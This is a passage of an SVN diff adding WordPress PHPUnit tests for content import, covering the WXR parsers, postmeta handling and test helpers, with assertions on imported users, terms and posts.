+	 *   'alice' => 1, // alice will be mapped to user ID 1
+	 *   'bob' => 'john', // bob will be transformed into john
+	 *   'eve' => false // eve will be imported as is
+	 * );</code>
+	 *
+	 * @param string $filename Full path of the file to import
+	 * @param array $users User import settings
+	 * @param bool $fetch_files Whether or not do download remote attachments
+	 */
+	protected function _import_wp( $filename, $users = array(), $fetch_files = true ) {
+		$importer = new WP_Import();
+		$file = realpath( $filename );
+
+		$this->assertTrue( ! empty( $file ), 'Path to import file is empty.' );
+		$this->assertTrue( is_file( $file ), 'Import file is not a file.' );
+
+		$authors = $mapping = $new = array();
+		$i = 0;
+
+		// each user is either mapped to a given ID, mapped to a new user
+		// with given login or imported using details in WXR file
+		foreach ( $users as $user => $map ) {
+			$authors[$i] = $user;
+			if ( is_int( $map ) )
+				$mapping[$i] = $map;
+			else if ( is_string( $map ) )
+				$new[$i] = $map;
+
+			$i++;
+		}
+
+		$_POST = array( 'imported_authors' => $authors, 'user_map' => $mapping, 'user_new' => $new );
+
+		ob_start();
+		$importer->fetch_attachments = $fetch_files;
+		$importer->import( $file );
+		ob_end_clean();
+
+		$_POST = array();
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/import/import.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/import/import.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/import/import.php	(revision 56912)
@@ -0,0 +1,272 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group import
+ */
+class Tests_Import_Import extends WP_Import_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		if ( ! defined( 'WP_IMPORTING' ) )
+			define( 'WP_IMPORTING', true );
+
+		if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+			define( 'WP_LOAD_IMPORTERS', true );
+
+		add_filter( 'import_allow_create_users', '__return_true' );
+
+		if ( ! file_exists( DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php' ) ) {
+			$this->fail( 'This test requires the WordPress Importer plugin to be installed in the test suite. See: https://make.wordpress.org/core/handbook/contribute/git/#unit-tests' );
+		}
+
+		require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+
+		global $wpdb;
+		// crude but effective: make sure there's no residual data in the main tables
+		foreach ( array('posts', 'postmeta', 'comments', 'terms', 'term_taxonomy', 'term_relationships', 'users', 'usermeta') as $table)
+			$wpdb->query("DELETE FROM {$wpdb->$table}");
+	}
+
+	function tearDown() {
+		remove_filter( 'import_allow_create_users', '__return_true' );
+
+		parent::tearDown();
+	}
+
+	function test_small_import() {
+		global $wpdb;
+
+		$authors = array( 'admin' => false, 'editor' => false, 'author' => false );
+		$this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+
+		// ensure that authors were imported correctly
+		$user_count = count_users();
+		$this->assertEquals( 3, $user_count['total_users'] );
+		$admin = get_user_by( 'login', 'admin' );
+		$this->assertEquals( 'admin', $admin->user_login );
+		$this->assertEquals( 'local@host.null', $admin->user_email );
+		$editor = get_user_by( 'login', 'editor' );
+		$this->assertEquals( 'editor', $editor->user_login );
+		$this->assertEquals( 'editor@example.org', $editor->user_email );
+		$this->assertEquals( 'FirstName', $editor->user_firstname );
+		$this->assertEquals( 'LastName', $editor->user_lastname );
+		$author = get_user_by( 'login', 'author' );
+		$this->assertEquals( 'author', $author->user_login );
+		$this->assertEquals( 'author@example.org', $author->user_email );
+
+		// check that terms were imported correctly
+		$this->assertEquals( 30, wp_count_terms( 'category' ) );
+		$this->assertEquals( 3, wp_count_terms( 'post_tag' ) );
+		$foo = get_term_by( 'slug', 'foo', 'category' );
+		$this->assertEquals( 0, $foo->parent );
+		$bar = get_term_by( 'slug', 'bar', 'category' );
+		$foo_bar = get_term_by( 'slug', 'foo-bar', 'category' );
+		$this->assertEquals( $bar->term_id, $foo_bar->parent );
+
+		// check that posts/pages were imported correctly
+		$post_count = wp_count_posts( 'post' );
+		$this->assertEquals( 5, $post_count->publish );
+		$this->assertEquals( 1, $post_count->private );
+		$page_count = wp_count_posts( 'page' );
+		$this->assertEquals( 4, $page_count->publish );
+		$this->assertEquals( 1, $page_count->draft );
+		$comment_count = wp_count_comments();
+		$this->assertEquals( 1, $comment_count->total_comments );
+
+		$posts = get_posts( array( 'numberposts' => 20, 'post_type' => 'any', 'post_status' => 'any', 'orderby' => 'ID' ) );
+		$this->assertEquals( 11, count($posts) );
+
+		$post = $posts[0];
+		$this->assertEquals( 'Many Categories', $post->post_title );
+		$this->assertEquals( 'many-categories', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 27, count($cats) );
+
+		$post = $posts[1];
+		$this->assertEquals( 'Non-standard post format', $post->post_title );
+		$this->assertEquals( 'non-standard-post-format', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 1, count($cats) );
+		$this->assertTrue( has_post_format( 'aside', $post->ID ) );
+
+		$post = $posts[2];
+		$this->assertEquals( 'Top-level Foo', $post->post_title );
+		$this->assertEquals( 'top-level-foo', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) );
+		$this->assertEquals( 1, count($cats) );
+		$this->assertEquals( 'foo', $cats[0]->slug );
+
+		$post = $posts[3];
+		$this->assertEquals( 'Foo-child', $post->post_title );
+		$this->assertEquals( 'foo-child', $post->post_name );
+		$this->assertEquals( $editor->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) );
+		$this->assertEquals( 1, count($cats) );
+		$this->assertEquals( 'foo-bar', $cats[0]->slug );
+
+		$post = $posts[4];
+		$this->assertEquals( 'Private Post', $post->post_title );
+		$this->assertEquals( 'private-post', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'private', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 1, count($cats) );
+		$tags = wp_get_post_tags( $post->ID );
+		$this->assertEquals( 3, count($tags) );
+		$this->assertEquals( 'tag1', $tags[0]->slug );
+		$this->assertEquals( 'tag2', $tags[1]->slug );
+		$this->assertEquals( 'tag3', $tags[2]->slug );
+
+		$post = $posts[5];
+		$this->assertEquals( '1-col page', $post->post_title );
+		$this->assertEquals( '1-col-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'onecolumn-page.php', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[6];
+		$this->assertEquals( 'Draft Page', $post->post_title );
+		$this->assertEquals( '', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'draft', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[7];
+		$this->assertEquals( 'Parent Page', $post->post_title );
+		$this->assertEquals( 'parent-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[8];
+		$this->assertEquals( 'Child Page', $post->post_title );
+		$this->assertEquals( 'child-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( $posts[7]->ID, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[9];
+		$this->assertEquals( 'Sample Page', $post->post_title );
+		$this->assertEquals( 'sample-page', $post->post_name );
+		$this->assertEquals( $admin->ID, $post->post_author );
+		$this->assertEquals( 'page', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) );
+
+		$post = $posts[10];
+		$this->assertEquals( 'Hello world!', $post->post_title );
+		$this->assertEquals( 'hello-world', $post->post_name );
+		$this->assertEquals( $author->ID, $post->post_author );
+		$this->assertEquals( 'post', $post->post_type );
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( 0, $post->post_parent );
+		$cats = wp_get_post_categories( $post->ID );
+		$this->assertEquals( 1, count($cats) );
+	}
+
+	function test_double_import() {
+		$authors = array( 'admin' => false, 'editor' => false, 'author' => false );
+		$this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+		$this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors );
+
+		$user_count = count_users();
+		$this->assertEquals( 3, $user_count['total_users'] );
+		$admin = get_user_by( 'login', 'admin' );
+		$this->assertEquals( 'admin', $admin->user_login );
+		$this->assertEquals( 'local@host.null', $admin->user_email );
+		$editor = get_user_by( 'login', 'editor' );
+		$this->assertEquals( 'editor', $editor->user_login );
+		$this->assertEquals( 'editor@example.org', $editor->user_email );
+		$this->assertEquals( 'FirstName', $editor->user_firstname );
+		$this->assertEquals( 'LastName', $editor->user_lastname );
+		$author = get_user_by( 'login', 'author' );
+		$this->assertEquals( 'author', $author->user_login );
+		$this->assertEquals( 'author@example.org', $author->user_email );
+
+		$this->assertEquals( 30, wp_count_terms( 'category' ) );
+		$this->assertEquals( 3, wp_count_terms( 'post_tag' ) );
+		$foo = get_term_by( 'slug', 'foo', 'category' );
+		$this->assertEquals( 0, $foo->parent );
+		$bar = get_term_by( 'slug', 'bar', 'category' );
+		$foo_bar = get_term_by( 'slug', 'foo-bar', 'category' );
+		$this->assertEquals( $bar->term_id, $foo_bar->parent );
+
+		$post_count = wp_count_posts( 'post' );
+		$this->assertEquals( 5, $post_count->publish );
+		$this->assertEquals( 1, $post_count->private );
+		$page_count = wp_count_posts( 'page' );
+		$this->assertEquals( 4, $page_count->publish );
+		$this->assertEquals( 1, $page_count->draft );
+		$comment_count = wp_count_comments();
+		$this->assertEquals( 1, $comment_count->total_comments );
+	}
+
+	function test_ordering_of_importers() {
+		global $wp_importers;
+		$_wp_importers = $wp_importers; // Preserve global state
+		$wp_importers = array(
+			'xyz1' => array( 'xyz1' ),
+			'XYZ2' => array( 'XYZ2' ),
+			'abc2' => array( 'abc2' ),
+			'ABC1' => array( 'ABC1' ),
+			'def1' => array( 'def1' ),
+		);
+		$this->assertEquals( array(
+			'ABC1' => array( 'ABC1' ),
+			'abc2' => array( 'abc2' ),
+			'def1' => array( 'def1' ),
+			'xyz1' => array( 'xyz1' ),
+			'XYZ2' => array( 'XYZ2' ),
+		), get_importers() );
+		$wp_importers = $_wp_importers; // Restore global state
+	}
+
+	/**
+	 * @ticket 21007
+	 */
+	public function test_slashes_should_not_be_stripped() {
+		global $wpdb;
+
+		$authors = array( 'admin' => false );
+		$this->_import_wp( DIR_TESTDATA . '/export/slashes.xml', $authors );
+
+		$alpha = get_term_by( 'slug', 'alpha', 'category' );
+		$this->assertSame( 'a \"great\" category', $alpha->name );
+
+		$tag1 = get_term_by( 'slug', 'tag1', 'post_tag' );
+		$this->assertSame( "foo\'bar", $tag1->name );
+
+		$posts = get_posts( array( 'post_type' => 'any', 'post_status' => 'any' ) );
+		$this->assertSame( 'Slashes aren\\\'t \"cool\"', $posts[0]->post_content );
+	}
+
+	// function test_menu_import
+}
Index: /tags/5.0.20/tests/phpunit/tests/import/parser.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/import/parser.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/import/parser.php	(revision 56912)
@@ -0,0 +1,198 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group import
+ */
+class Tests_Import_Parser extends WP_Import_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		if ( ! defined( 'WP_IMPORTING' ) )
+			define( 'WP_IMPORTING', true );
+
+		if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+			define( 'WP_LOAD_IMPORTERS', true );
+
+		if ( ! file_exists( DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php' ) ) {
+			$this->fail( 'This test requires the WordPress Importer plugin to be installed in the test suite. See: https://make.wordpress.org/core/handbook/contribute/git/#unit-tests' );
+		}
+
+		require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+	}
+
+	function test_malformed_wxr() {
+		$file = DIR_TESTDATA . '/export/malformed.xml';
+
+		// regex based parser cannot detect malformed XML
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML' ) as $p ) {
+			$parser = new $p;
+			$result = $parser->parse($file);
+			$this->assertWPError( $result );
+			$this->assertEquals( 'There was an error when reading this WXR file', $result->get_error_message() );
+		}
+	}
+
+	function test_invalid_wxr() {
+		$f1 = DIR_TESTDATA . '/export/missing-version-tag.xml';
+		$f2 = DIR_TESTDATA . '/export/invalid-version-tag.xml';
+
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			foreach ( array( $f1, $f2 ) as $file ) {
+				$parser = new $p;
+				$result = $parser->parse( $file );
+				$this->assertWPError( $result );
+				$this->assertEquals( 'This does not appear to be a WXR file, missing/invalid WXR version number', $result->get_error_message() );
+			}
+		}
+	}
+
+	function test_wxr_version_1_1() {
+		$file = DIR_TESTDATA . '/export/valid-wxr-1.1.xml';
+
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			$message = $p . ' failed';
+			$parser = new $p;
+			$result = $parser->parse( $file );
+
+			$this->assertTrue( is_array( $result ), $message );
+			$this->assertEquals( 'http://localhost/', $result['base_url'], $message );
+			$this->assertEquals( array(
+				'author_id' => 2,
+				'author_login' => 'john',
+				'author_email' => 'johndoe@example.org',
+				'author_display_name' => 'John Doe',
+				'author_first_name' => 'John',
+				'author_last_name' => 'Doe'
+			), $result['authors']['john'], $message );
+			$this->assertEquals( array(
+				'term_id' => 3,
+				'category_nicename' => 'alpha',
+				'category_parent' => '',
+				'cat_name' => 'alpha',
+				'category_description' => 'The alpha category'
+			), $result['categories'][0], $message );
+			$this->assertEquals( array(
+				'term_id' => 22,
+				'tag_slug' => 'clippable',
+				'tag_name' => 'Clippable',
+				'tag_description' => 'The Clippable post_tag'
+			), $result['tags'][0], $message );
+			$this->assertEquals( array(
+				'term_id' => 40,
+				'term_taxonomy' => 'post_tax',
+				'slug' => 'bieup',
+				'term_parent' => '',
+				'term_name' => 'bieup',
+				'term_description' => 'The bieup post_tax'
+			), $result['terms'][0], $message );
+
+			$this->assertEquals( 2, count($result['posts']), $message );
+			$this->assertEquals( 19, count($result['posts'][0]), $message );
+			$this->assertEquals( 18, count($result['posts'][1]), $message );
+			$this->assertEquals( array(
+				array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ),
+				array( 'name' => 'Clippable', 'slug' => 'clippable', 'domain' => 'post_tag' ),
+				array( 'name' => 'bieup', 'slug' => 'bieup', 'domain' => 'post_tax' )
+			), $result['posts'][0]['terms'], $message );
+			$this->assertEquals( array(
+				array( 'key' => '_wp_page_template', 'value' => 'default' )
+			), $result['posts'][1]['postmeta'], $message );
+		}
+	}
+
+	function test_wxr_version_1_0() {
+		$file = DIR_TESTDATA . '/export/valid-wxr-1.0.xml';
+
+		foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			$message = $p . ' failed';
+			$parser = new $p;
+			$result = $parser->parse( $file );
+
+			$this->assertTrue( is_array( $result ), $message );
+			$this->assertEquals( 'http://localhost/', $result['base_url'], $message );
+			$this->assertEquals( $result['categories'][0]['category_nicename'], 'alpha', $message );
+			$this->assertEquals( $result['categories'][0]['cat_name'], 'alpha', $message );
+			$this->assertEquals( $result['categories'][0]['category_parent'], '', $message );
+			$this->assertEquals( $result['categories'][0]['category_description'], 'The alpha category', $message );
+			$this->assertEquals( $result['tags'][0]['tag_slug'], 'chicken', $message );
+			$this->assertEquals( $result['tags'][0]['tag_name'], 'chicken', $message );
+
+			$this->assertEquals( 6, count($result['posts']), $message );
+			$this->assertEquals( 19, count($result['posts'][0]), $message );
+			$this->assertEquals( 18, count($result['posts'][1]), $message );
+
+			$this->assertEquals( array(
+				array( 'name' => 'Uncategorized', 'slug' => 'uncategorized', 'domain' => 'category' )
+			), $result['posts'][0]['terms'], $message );
+			$this->assertEquals( array(
+				array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ),
+				array( 'name' => 'news', 'slug' => 'news', 'domain' => 'tag' ),
+				array( 'name' => 'roar', 'slug' => 'roar', 'domain' => 'tag' )
+			), $result['posts'][2]['terms'], $message );
+			$this->assertEquals( array(
+				array( 'name' => 'chicken', 'slug' => 'chicken', 'domain' => 'tag' ),
+				array( 'name' => 'child', 'slug' => 'child', 'domain' => 'category' ),
+				array( 'name' => 'face', 'slug' => 'face', 'domain' => 'tag' )
+			), $result['posts'][3]['terms'], $message );
+
+			$this->assertEquals( array(
+				array( 'key' => '_wp_page_template', 'value' => 'default' )
+			), $result['posts'][1]['postmeta'], $message );
+		}
+	}
+
+	/**
+	 * Test the WXR parser's ability to correctly retrieve content from CDATA
+	 * sections that contain escaped closing tags ("]]>" -> "]]]]><![CDATA[>").
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/15203
+	 */
+	function test_escaped_cdata_closing_sequence() {
+		$file = DIR_TESTDATA . '/export/crazy-cdata-escaped.xml';
+
+		foreach( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+			$message = 'Parser ' . $p;
+			$parser = new $p;
+			$result = $parser->parse( $file );
+
+			$post = $result['posts'][0];
+			$this->assertEquals( 'Content with nested <![CDATA[ tags ]]> :)', $post['post_content'], $message );
+			foreach ( $post['postmeta'] as $meta ) {
+				switch ( $meta['key'] ) {
+					case 'Plain string': $value = 'Foo'; break;
+					case 'Closing CDATA': $value = ']]>'; break;
+					case 'Alot of CDATA': $value = 'This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>'; break;
+					default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p );
+				}
+				$this->assertEquals( $value, $meta['value'], $message );
+			}
+		}
+	}
+
+	/**
+	 * Ensure that the regex parser can still parse invalid CDATA blocks (i.e. those
+	 * with "]]>" unescaped within a CDATA section).
+	 */
+	function test_unescaped_cdata_closing_sequence() {
+		$file = DIR_TESTDATA . '/export/crazy-cdata.xml';
+
+		$parser = new WXR_Parser_Regex;
+		$result = $parser->parse( $file );
+
+		$post = $result['posts'][0];
+		$this->assertEquals( 'Content with nested <![CDATA[ tags ]]> :)', $post['post_content'] );
+		foreach ( $post['postmeta'] as $meta ) {
+			switch ( $meta['key'] ) {
+				case 'Plain string': $value = 'Foo'; break;
+				case 'Closing CDATA': $value = ']]>'; break;
+				case 'Alot of CDATA': $value = 'This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>'; break;
+				default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p );
+			}
+			$this->assertEquals( $value, $meta['value'] );
+		}
+	}
+
+	// tags in CDATA #11574
+}
Index: /tags/5.0.20/tests/phpunit/tests/import/postmeta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/import/postmeta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/import/postmeta.php	(revision 56912)
@@ -0,0 +1,100 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group import
+ */
+class Tests_Import_Postmeta extends WP_Import_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		if ( ! defined( 'WP_IMPORTING' ) )
+			define( 'WP_IMPORTING', true );
+
+		if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+			define( 'WP_LOAD_IMPORTERS', true );
+
+		if ( ! file_exists( DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php' ) ) {
+			$this->fail( 'This test requires the WordPress Importer plugin to be installed in the test suite. See: https://make.wordpress.org/core/handbook/contribute/git/#unit-tests' );
+		}
+
+		require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+	}
+
+	function test_serialized_postmeta_no_cdata() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-no-cdata.xml', array( 'johncoswell' => 'john' ) );
+		$expected['special_post_title'] = 'A special title';
+		$expected['is_calendar'] = '';
+		$this->assertEquals( $expected, get_post_meta( 122, 'post-options', true ) );
+	}
+
+	function test_utw_postmeta() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-utw-post-meta-import.xml', array( 'johncoswell' => 'john' ) );
+
+		$classy = new StdClass();
+		$classy->tag =  "album";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "apple";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "art";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "artwork";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "dead-tracks";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "ipod";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "itunes";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "javascript";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "lyrics";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "script";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "tracks";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "windows-scripting-host";
+		$expected[] = $classy;
+		$classy = new StdClass();
+		$classy->tag =  "wscript";
+		$expected[] = $classy;
+
+		$this->assertEquals( $expected, get_post_meta( 150, 'test', true ) );
+	}
+
+	/**
+	 * @ticket 9633
+	 */
+	function test_serialized_postmeta_with_cdata() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) );
+
+		//HTML in the CDATA should work with old WordPress version
+		$this->assertEquals( '<pre>some html</pre>', get_post_meta( 10, 'contains-html', true ) );
+		//Serialised will only work with 3.0 onwards.
+		$expected["special_post_title"] = "A special title";
+		$expected["is_calendar"] = "";
+		$this->assertEquals( $expected, get_post_meta( 10, 'post-options', true ) );
+	}
+
+	/**
+	 * @ticket 11574
+	 */
+	function test_serialized_postmeta_with_evil_stuff_in_cdata() {
+		$this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) );
+		// evil content in the CDATA
+		$this->assertEquals( '<wp:meta_value>evil</wp:meta_value>', get_post_meta( 10, 'evil', true ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/includes/factory.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/includes/factory.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/includes/factory.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+
+class TestFactoryFor extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->category_factory = new WP_UnitTest_Factory_For_Term( null, 'category' );
+	}
+
+	function test_create_creates_a_category() {
+		$id = $this->category_factory->create();
+		$this->assertTrue( (bool)get_term_by( 'id', $id, 'category' ) );
+	}
+
+	function test_get_object_by_id_gets_an_object() {
+		$id = $this->category_factory->create();
+		$this->assertTrue( (bool)$this->category_factory->get_object_by_id( $id ) );
+	}
+
+	function test_get_object_by_id_gets_an_object_with_the_same_name() {
+		$id = $this->category_factory->create( array( 'name' => 'Boo') );
+		$object = $this->category_factory->get_object_by_id( $id );
+		$this->assertEquals( 'Boo', $object->name );
+	}
+
+	function test_the_taxonomy_argument_overrules_the_factory_taxonomy() {
+		$term_factory = new WP_UnitTest_Factory_For_term( null, 'category' );
+		$id = $term_factory->create( array( 'taxonomy' => 'post_tag' ) );
+		$term = get_term( $id, 'post_tag' );
+		$this->assertEquals( $id, $term->term_id );
+	}
+
+	/**
+	 * @ticket 32536
+	 */
+	public function test_term_factory_create_and_get_should_return_term_object() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$term = self::factory()->term->create_and_get( array( 'taxonomy' => 'wptests_tax' ) );
+		$this->assertInternalType( 'object', $term );
+		$this->assertNotEmpty( $term->term_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/includes/helpers.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/includes/helpers.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/includes/helpers.php	(revision 56912)
@@ -0,0 +1,238 @@
+<?php
+
+/**
+ * @group phpunit
+ */
+class Tests_TestHelpers extends WP_UnitTestCase {
+	/**
+	 * @ticket 30522
+	 */
+	function data_assertEqualSets() {
+		return array(
+			array(
+				array( 1, 2, 3 ), // test expected
+				array( 1, 2, 3 ), // test actual
+				false             // exception expected
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1 ),
+				false
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 4 ),
+				true
+			),
+			array(
+				array( 1, 2, 3, 4 ),
+				array( 1, 2, 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 3, 4, 2, 1 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1, 3 ),
+				true
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_assertEqualSets
+	 * @ticket 30522
+	 */
+	function test_assertEqualSets( $expected, $actual, $exception ) {
+		if ( $exception ) {
+			try {
+				$this->assertEqualSets( $expected, $actual );
+			} catch ( PHPUnit_Framework_ExpectationFailedException $ex ) {
+				return;
+			}
+
+			$this->fail();
+		} else {
+			$this->assertEqualSets( $expected, $actual );
+		}
+	}
+
+	/**
+	 * @ticket 30522
+	 */
+	function data_assertEqualSetsWithIndex() {
+		return array(
+			array(
+				array( 1, 2, 3 ), // test expected
+				array( 1, 2, 3 ), // test actual
+				false             // exception expected
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				false
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'b' => 2, 'c' => 3, 'a' => 1 ),
+				false
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 4 ),
+				true
+			),
+			array(
+				array( 1, 2, 3, 4 ),
+				array( 1, 2, 3 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 3, 4, 2, 1 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'c' => 3, 'b' => 2, 'd' => 4, 'a' => 1 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 1, 2, 3, 3 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 3 ),
+				true
+			),
+			array(
+				array( 1, 2, 3 ),
+				array( 2, 3, 1, 3 ),
+				true
+			),
+			array(
+				array( 'a' => 1, 'b' => 2, 'c' => 3 ),
+				array( 'c' => 3, 'b' => 2, 'd' => 3, 'a' => 1 ),
+				true
+			),
+		);
+	}
+	/**
+	 * @dataProvider data_assertEqualSetsWithIndex
+	 * @ticket 30522
+	 */
+	function test_assertEqualSetsWithIndex( $expected, $actual, $exception ) {
+		if ( $exception ) {
+			try {
+				$this->assertEqualSetsWithIndex( $expected, $actual );
+			} catch ( PHPUnit_Framework_ExpectationFailedException $ex ) {
+				return;
+			}
+
+			$this->fail();
+		} else {
+			$this->assertEqualSetsWithIndex( $expected, $actual );
+		}
+	}
+
+	public function test__unregister_post_status() {
+		register_post_status( 'foo' );
+		_unregister_post_status( 'foo' );
+
+		$stati = get_post_stati();
+
+		$this->assertFalse( isset( $stati['foo'] ) );
+	}
+
+	/**
+	 * @ticket 28486
+	 */
